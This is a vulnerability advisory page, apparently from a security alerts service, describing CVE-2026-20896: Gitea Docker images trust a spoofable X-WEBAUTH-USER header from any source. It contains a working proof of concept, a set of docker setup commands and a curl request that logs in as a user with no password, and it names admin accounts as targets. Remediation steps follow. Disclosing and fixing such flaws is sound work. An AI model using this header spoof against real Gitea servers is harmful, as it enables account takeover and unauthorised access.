CVE-2026-20896: Gitea Docker image trusts spoofable reverse-proxy headers by default

Published Jul 3, 2026
·
Updated

Summary

The Gitea Docker images ship an app.ini template that hard-codes:

REVERSEPROXYTRUSTEDPROXIES =

The documented default for this setting, in custom/conf/app.example.ini, is 127.0.0.0/8,::1/128, i.e. only loopback is trusted.

When an admin enables ENABLEREVERSEPROXYAUTHENTICATION = true to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at "the default", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts X-WEBAUTH-USER from any source IP that can reach the container.

Affected

- gitea/gitea Docker images (verified 1.26.2) - docker/root/etc/templates/app.ini:55 - docker/rootless/etc/templates/app.ini:52

Binary distribution and self-built deployments that follow app.example.ini get the loopback-only default and are not affected.

Reproduction

docker run -d --name g -p 3000:3000 \ -e GITEAserviceENABLEREVERSEPROXYAUTHENTICATION=true \ -e GITEAsecurityINSTALLLOCK=true \ gitea/gitea:1.26.2

sleep 15 docker exec --user git g gitea admin user create \ --username alice --password "longpasswordhere1234" \ --email alice@x.test --must-change-password=false

Now the attack::

curl -s -L -H "X-WEBAUTH-USER: alice" http://localhost:3000/ \ | grep -oE '<title>[^<]+</title>'

Output: <title>alice - Dashboard - Gitea: Git with a cup of tea</title> — attacker is logged in as alice with one header, no password, no cookie.

Same payload with X-WEBAUTH-USER: <anyexistingusername> impersonates that user.

Impact

Any process that can reach the Gitea container's HTTP port directly — not through the intended authenticating proxy — can impersonate any user whose login name is known or guessable. Admin accounts (admin, giteaadmin, etc.) are the obvious targets.

Other sources

Gitea Docker image versions up to and including 1.26.2 use REVERSEPROXYTRUSTEDPROXIES= by default, allowing any source IP to impersonate a user when reverse-proxy authentication headers such as X-WEBAUTH-USER are enabled.

MITRE

Affected Software

2 affected componentsFixes available
Gitea Docker image<=1.26.2
go/code.gitea.io/gitea<1.26.3
1.26.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/code.gitea.io/gitea to a version that resolves this vulnerability.

    Fixed in 1.26.3
  2. Configuration

    Set REVERSE_PROXY_TRUSTED_PROXIES to the documented loopback-only default (127.0.0.0/8,::1/128) in the effective app.ini used by the container so that only the authenticating reverse proxy on loopback can inject reverse-proxy authentication identity headers.

    Gitea REVERSE_PROXY_TRUSTED_PROXIES = 127.0.0.0/8,::1/128
  3. Configuration

    Keep ENABLE_REVERSE_PROXY_AUTHENTICATION enabled only when the trusted-proxies list is correctly restricted; if you enable it, ensure REVERSE_PROXY_TRUSTED_PROXIES is not set to the unsafe default REVERSE_PROXY_TRUSTED_PROXIES=* (which allows any source IP to impersonate users when headers like X-WEBAUTH-USER are accepted).

    Gitea (Docker image templates) ENABLE_REVERSE_PROXY_AUTHENTICATION = true
  4. Compensating control

    Ensure the Gitea container HTTP port is not reachable except through the intended authenticating reverse proxy (i.e., block direct access to the container port from non-proxy source IPs) so attacker-supplied reverse-proxy headers cannot be used to impersonate users.

Event History

Jul 3, 2026
CVE Published
via MITRE·08:19 PM
Data Sourced
via MITRE·08:19 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeakness
Jul 10, 2026
News Published
via BleepingComputer·03:48 PM
News Published
via BleepingComputer·03:49 PM
Jul 21, 2026
Advisory Published
via GitHub·08:28 PM
Data Sourced
via GitHub·08:28 PM
DescriptionSeverityWeaknessAffected Software
Aug 26, 2026
News Published
via BleepingComputer·11:07 AM
Aug 28, 2026
News Published
via BleepingComputer·12:58 PM

Frequently Asked Questions

1

What is the severity of CVE-2026-20896?

CVE-2026-20896 has a critical severity rating of 9.8.

2

How do I fix CVE-2026-20896?

To fix CVE-2026-20896, you should upgrade your Gitea Docker image to version 1.26.3 or later.

3

What vulnerability does CVE-2026-20896 describe?

CVE-2026-20896 describes a vulnerability where the Gitea Docker image trusts spoofable reverse-proxy headers by default.

4

What impact does CVE-2026-20896 have on Gitea users?

CVE-2026-20896 allows any source IP to impersonate a user, potentially compromising user authentication.

5

Which versions of Gitea Docker image are affected by CVE-2026-20896?

Gitea Docker image versions up to and including 1.26.2 are affected by CVE-2026-20896.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203